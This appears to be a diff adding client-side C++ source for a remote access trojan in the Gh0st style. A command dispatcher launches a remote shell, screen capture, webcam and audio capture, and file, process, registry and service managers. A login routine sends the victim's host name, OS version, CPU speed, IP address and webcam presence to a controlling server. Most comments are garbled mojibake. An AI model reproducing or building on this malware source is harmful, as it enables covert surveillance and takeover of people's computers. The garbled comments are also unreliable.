//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||||
|
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||||
|
m_DeCompressedBuffer.GetBufferLength());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
throw "Bad Buffer";
|
||||||
|
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
delete [] DeCompressedBuffer;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}catch(...)
|
||||||
|
{
|
||||||
|
m_CompressedBuffer.ClearBuffer();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||||
|
{
|
||||||
|
m_WriteBuffer.ClearBuffer();
|
||||||
|
|
||||||
|
if (ulOriginalLength > 0)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
||||||
|
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
|
||||||
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
||||||
|
//nSize = 436
|
||||||
|
//destLen = 448
|
||||||
|
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||||
|
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||||
|
|
||||||
|
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||||
|
|
||||||
|
if (iRet != Z_OK)
|
||||||
|
{
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||||
|
|
||||||
|
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
|
||||||
|
|
||||||
|
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||||
|
// 5 4
|
||||||
|
//[Shine][ 30 ]
|
||||||
|
|
||||||
|
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||||
|
// 5 4 4
|
||||||
|
//[Shine][ 30 ][5]
|
||||||
|
|
||||||
|
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||||
|
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
CompressedBuffer = NULL;
|
||||||
|
}
|
||||||
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
|
//shine[0035][0010][HelloWorld+12]
|
||||||
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||||
|
MAX_SEND_BUFFER);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5 2 // 2 2 1
|
||||||
|
BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
||||||
|
{
|
||||||
|
//1025
|
||||||
|
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||||
|
const char* Travel = (char *)szBuffer;
|
||||||
|
int i = 0;
|
||||||
|
ULONG ulSended = 0;
|
||||||
|
ULONG ulSendRetry = 15;
|
||||||
|
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
|
||||||
|
|
||||||
|
for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength)
|
||||||
|
{
|
||||||
|
int j = 0;
|
||||||
|
for (; j < ulSendRetry; j++)
|
||||||
|
{
|
||||||
|
iReturn = send(m_sClientSocket, Travel, ulSplitLength,0);
|
||||||
|
if (iReturn > 0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (j == ulSendRetry)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ulSended += iReturn;
|
||||||
|
Travel += ulSplitLength;
|
||||||
|
Sleep(15); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
|
||||||
|
}
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||||
|
if (i>0) //1024
|
||||||
|
{
|
||||||
|
int j = 0;
|
||||||
|
for (; j < ulSendRetry; j++) //nSendRetry = 15
|
||||||
|
{
|
||||||
|
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
|
||||||
|
|
||||||
|
Sleep(15);
|
||||||
|
if (iReturn > 0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (j == ulSendRetry)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
ulSended += iReturn; //0+=1000
|
||||||
|
}
|
||||||
|
if (ulSended == ulLength)
|
||||||
|
{
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID IOCPClient::Disconnect()
|
||||||
|
{
|
||||||
|
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
|
|
||||||
|
CancelIo((HANDLE)m_sClientSocket);
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
|
||||||
|
m_bConnected = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID IOCPClient::RunEventLoop()
|
||||||
|
{
|
||||||
|
OutputDebugStringA("======> RunEventLoop begin\n");
|
||||||
|
while (m_bIsRunning) Sleep(200);
|
||||||
|
OutputDebugStringA("======> RunEventLoop end\n");
|
||||||
|
}
|
||||||
69
client/IOCPClient.h
Normal file
69
client/IOCPClient.h
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
// IOCPClient.h: interface for the IOCPClient class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||||
|
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include <WinSock2.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <MSTcpIP.h>
|
||||||
|
#include "Buffer.h"
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
|
|
||||||
|
#define MAX_RECV_BUFFER 1024*8
|
||||||
|
#define MAX_SEND_BUFFER 1024*8
|
||||||
|
#define FLAG_LENGTH 5
|
||||||
|
#define HDR_LENGTH 13
|
||||||
|
|
||||||
|
enum { S_STOP = 0, S_RUN, S_END };
|
||||||
|
|
||||||
|
class IOCPClient
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
IOCPClient(bool exit_while_disconnect = false);
|
||||||
|
virtual ~IOCPClient();
|
||||||
|
SOCKET m_sClientSocket;
|
||||||
|
|
||||||
|
BOOL m_bWorkThread;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
|
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
|
int OnServerSending(char* szBuffer, ULONG ulOriginalLength);
|
||||||
|
BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||||
|
|
||||||
|
BOOL IsRunning() const
|
||||||
|
{
|
||||||
|
return m_bIsRunning;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL m_bIsRunning;
|
||||||
|
BOOL m_bConnected;
|
||||||
|
CBuffer m_WriteBuffer;
|
||||||
|
CBuffer m_CompressedBuffer;
|
||||||
|
CBuffer m_DeCompressedBuffer;
|
||||||
|
|
||||||
|
char m_szPacketFlag[FLAG_LENGTH];
|
||||||
|
|
||||||
|
VOID setManagerCallBack(class CManager* Manager);
|
||||||
|
|
||||||
|
VOID Disconnect();
|
||||||
|
VOID RunEventLoop();
|
||||||
|
bool IsConnected() const { return m_bConnected; }
|
||||||
|
|
||||||
|
public:
|
||||||
|
class CManager* m_Manager;
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
bool m_exit_while_disconnect;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||||
135
client/KernelManager.cpp
Normal file
135
client/KernelManager.cpp
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
// KernelManager.cpp: implementation of the CKernelManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "KernelManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
|
||||||
|
m_ulThreadCount = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
CKernelManager::~CKernelManager()
|
||||||
|
{
|
||||||
|
int i = 0;
|
||||||
|
for (i=0;i<0x1000;i++)
|
||||||
|
{
|
||||||
|
if (m_hThread->h!=0)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hThread[i].h);
|
||||||
|
m_hThread[i].h = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_ulThreadCount = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
|
||||||
|
m_hThread[m_ulThreadCount].p = pNew;
|
||||||
|
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_TALK:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopTalkManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SHELL:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopShellManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopProcessManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopWindowManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_BYE:
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_SPY:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_LIST_DRIVE :
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopFileManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_WEBCAM:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopVideoManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_AUDIO:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopAudioManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_REGEDIT:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
|
||||||
|
pNew, 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SERVICES:
|
||||||
|
{
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||||
|
(LPTHREAD_START_ROUTINE)LoopServicesManager,
|
||||||
|
pNew, 0, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
OutputDebugStringA("======> Error operator\n");
|
||||||
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
|
delete pNew;
|
||||||
|
pNew = NULL;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
34
client/KernelManager.h
Normal file
34
client/KernelManager.h
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
// KernelManager.h: interface for the CKernelManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||||
|
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||||
|
struct ThreadInfo
|
||||||
|
{
|
||||||
|
HANDLE h;
|
||||||
|
IOCPClient *p;
|
||||||
|
ThreadInfo() : h(NULL), p(NULL){ }
|
||||||
|
};
|
||||||
|
|
||||||
|
class CKernelManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CKernelManager(IOCPClient* ClientObject);
|
||||||
|
virtual ~CKernelManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
ThreadInfo m_hThread[0x1000];
|
||||||
|
ULONG m_ulThreadCount;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||||
66
client/LoginServer.cpp
Normal file
66
client/LoginServer.cpp
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "LoginServer.h"
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
|
||||||
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||||
|
{
|
||||||
|
LOGIN_INFOR LoginInfor = {0};
|
||||||
|
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||||
|
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||||
|
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||||
|
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>PCName
|
||||||
|
char szPCName[MAX_PATH] = {0};
|
||||||
|
gethostname(szPCName, MAX_PATH);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>ClientIP
|
||||||
|
sockaddr_in ClientAddr;
|
||||||
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||||
|
int iLen = sizeof(sockaddr_in);
|
||||||
|
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
|
||||||
|
|
||||||
|
DWORD dwCPUMHz;
|
||||||
|
dwCPUMHz = CPUClockMHz();
|
||||||
|
|
||||||
|
BOOL bWebCamIsExist = WebCamIsExist();
|
||||||
|
|
||||||
|
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||||
|
LoginInfor.dwSpeed = dwSpeed;
|
||||||
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||||
|
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
||||||
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||||
|
|
||||||
|
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
|
return iRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD CPUClockMHz()
|
||||||
|
{
|
||||||
|
HKEY hKey;
|
||||||
|
DWORD dwCPUMHz;
|
||||||
|
DWORD dwReturn = sizeof(DWORD);
|
||||||
|
DWORD dwType = REG_DWORD;
|
||||||
|
RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||||
|
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||||
|
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
return dwCPUMHz;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WebCamIsExist()
|
||||||
|
{
|
||||||
|
BOOL bOk = FALSE;
|
||||||
|
|
||||||
|
char szDeviceName[100], szVer[50];
|
||||||
|
for (int i = 0; i < 10 && !bOk; i++)
|
||||||
|
{
|
||||||
|
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||||||
|
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>
|
||||||
|
szVer, sizeof(szVer));
|
||||||
|
}
|
||||||
|
return bOk;
|
||||||
|
}
|
||||||
21
client/LoginServer.h
Normal file
21
client/LoginServer.h
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
#include <Vfw.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
|
||||||
|
typedef struct _LOGIN_INFOR
|
||||||
|
{
|
||||||
|
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
||||||
|
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||||
|
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||||
|
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||||
|
}LOGIN_INFOR,*PLOGIN_INFOR;
|
||||||
|
|
||||||
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
||||||
|
DWORD CPUClockMHz();
|
||||||
|
BOOL WebCamIsExist();
|
||||||
39
client/Manager.cpp
Normal file
39
client/Manager.cpp
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
// Manager.cpp: implementation of the CManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CManager::CManager(IOCPClient* ClientObject)
|
||||||
|
{
|
||||||
|
m_ClientObject = ClientObject;
|
||||||
|
m_ClientObject->setManagerCallBack(this);
|
||||||
|
|
||||||
|
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
CManager::~CManager()
|
||||||
|
{
|
||||||
|
if (m_hEventDlgOpen!=NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hEventDlgOpen);
|
||||||
|
m_hEventDlgOpen = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CManager::WaitForDialogOpen()
|
||||||
|
{
|
||||||
|
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
|
||||||
|
Sleep(150);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CManager::NotifyDialogIsOpen()
|
||||||
|
{
|
||||||
|
SetEvent(m_hEventDlgOpen);
|
||||||
|
}
|
||||||
32
client/Manager.h
Normal file
32
client/Manager.h
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
// Manager.h: interface for the CManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
|
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
|
||||||
|
class IOCPClient;
|
||||||
|
|
||||||
|
class CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CManager(IOCPClient* ClientObject);
|
||||||
|
virtual ~CManager();
|
||||||
|
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength){}
|
||||||
|
IOCPClient* m_ClientObject;
|
||||||
|
HANDLE m_hEventDlgOpen;
|
||||||
|
VOID WaitForDialogOpen();
|
||||||
|
VOID NotifyDialogIsOpen();
|
||||||
|
|
||||||
|
int Send(LPBYTE lpData, UINT nSize);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
62
client/RegisterManager.cpp
Normal file
62
client/RegisterManager.cpp
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "RegisterManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
using namespace std;
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
BYTE bToken=TOKEN_REGEDIT;
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
CRegisterManager::~CRegisterManager()
|
||||||
|
{
|
||||||
|
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>"<<endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch (szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if(ulLength>3){
|
||||||
|
Find(szBuffer[1],(char*)(szBuffer+2));
|
||||||
|
}else{
|
||||||
|
Find(szBuffer[1],NULL); //Root<6F><74><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||||
|
{
|
||||||
|
RegisterOperation Opt(bToken);
|
||||||
|
if(szPath!=NULL)
|
||||||
|
{
|
||||||
|
Opt.SetPath(szPath);
|
||||||
|
}
|
||||||
|
char *szBuffer= Opt.FindPath();
|
||||||
|
if(szBuffer!=NULL)
|
||||||
|
{
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||||
|
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
szBuffer = Opt.FindKey();
|
||||||
|
if(szBuffer!=NULL)
|
||||||
|
{
|
||||||
|
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
24
client/RegisterManager.h
Normal file
24
client/RegisterManager.h
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
// RegisterManager.h: interface for the CRegisterManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||||
|
#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
